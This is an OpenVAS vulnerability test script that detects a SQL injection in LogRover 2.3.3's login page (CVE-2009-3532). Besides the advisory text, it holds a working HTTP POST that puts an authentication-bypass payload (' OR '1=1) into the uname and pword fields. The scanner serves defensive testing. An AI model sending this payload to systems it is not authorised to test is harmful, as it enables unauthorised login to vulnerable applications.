###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_logrover_sql_inj_vuln.nasl 5167 2009-10-08 10:40:33Z oct $
#
# LogRover 'uname' and 'pword' SQL Injection Vulnerability
#
# Authors:
# Antu Sanadi <santu@secpod.com>
#
# Copyright:
# Copyright (c) 2009 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(801012);
  script_version("$Revision: 1.0 $");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"risk_factor", value:"High");
  script_cve_id("CVE-2009-3532");
  script_name("LogRover 'uname' and 'pword' SQL Injection Vulnerability");
  desc = "
  Overview: This host is installed with LogRover and is prone to SQL Injection
  vulnerability.

  Vulnerability Insight:
  Input passed to the 'uname' and 'pword' parameters in 'login.asp' is not
  properly sanitised before being used in SQL queries.

  Impact:
  Successful exploitation will allow remote attackers to conduct SQL injection
  attacks.

  Impact Level: Application

  Affected Software/OS:
  LogRover version 2.3.3 and prior

  Fix: No solution or patch is available as on 08th October, 2009. Information
  regarding this issue will be updated once the solution details are available.
  For updates refer, http://logrover.com/index.cfm

  References:
  http://osvdb.org/55825
  http://secunia.com/advisories/35821/
  http://www.packetstormsecurity.org/0907-advisories/DDIVRT-2009-26.txt

  CVSS Score:
    CVSS Base Score     : 7.5 (AV:N/AC:L/Au:NR/C:P/I:P/A:P)
    CVSS Temporal Score : 6.7
  Risk factor: High";

  script_description(desc);
  script_summary("Check for the SQL Injection Attack on LogRover");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Intevation GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nes");
  script_require_ports("Services/www", 80);
  exit(0);
}


include("http_func.inc");

logroverPort = get_http_port(default:80);
if(!logroverPort){
  exit(0);
}

if(!get_port_state(logroverPort)){
  exit(0);
}

sndReq = string("POST /LogRover/login.asp HTTP/1.1\r\n",
                "Host: ", get_host_name(),"\r\n",
                "Content-Type: application/x-www-form-urlencoded\r\n",
                "Content-Length: 48\r\n",
                "uname=admin%27+OR+%271%3D1&pword=%27+OR+%271%3D1\r\n\r\n");
rcvRes = http_send_recv(port:logroverPort, data:sndReq);

if("Invalid Username or Password" >!< rcvRes && ("index1.asp" >< rcvRes)){
  security_hole(0);
}
